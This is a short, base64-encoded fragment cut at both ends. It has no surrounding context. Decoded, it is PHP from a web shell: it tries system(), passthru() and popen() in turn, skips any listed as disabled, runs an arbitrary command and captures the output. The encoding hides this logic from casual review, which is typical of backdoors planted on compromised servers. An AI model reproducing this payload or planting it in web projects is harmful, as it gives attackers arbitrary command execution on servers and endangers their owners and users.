jbWRgKSAhPT0gRkFMU0UpIHt9DQogIGVsc2VpZiAoaXNfY2FsbGFibGUoInN5c3RlbSIpIGFuZCAhaW5fYXJyYXkoInN5c3RlbSIsJGRpc2FibGVmdW5jKSkgeyR2ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTsgc3lzdGVtKCRjbWQpOyAkcmVzdWx0ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTsgZWNobyAkdjt9DQogIGVsc2VpZiAoaXNfY2FsbGFibGUoInBhc3N0aHJ1IikgYW5kICFpbl9hcnJheSgicGFzc3RocnUiLCRkaXNhYmxlZnVuYykpIHskdiA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IHBhc3N0aHJ1KCRjbWQpOyAkcmVzdWx0ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTsgZWNobyAkdjt9DQogIGVsc2VpZiAoaXNfcmVzb3VyY2UoJGZwID0gcG9wZW4oJGNtZCwiciIpK
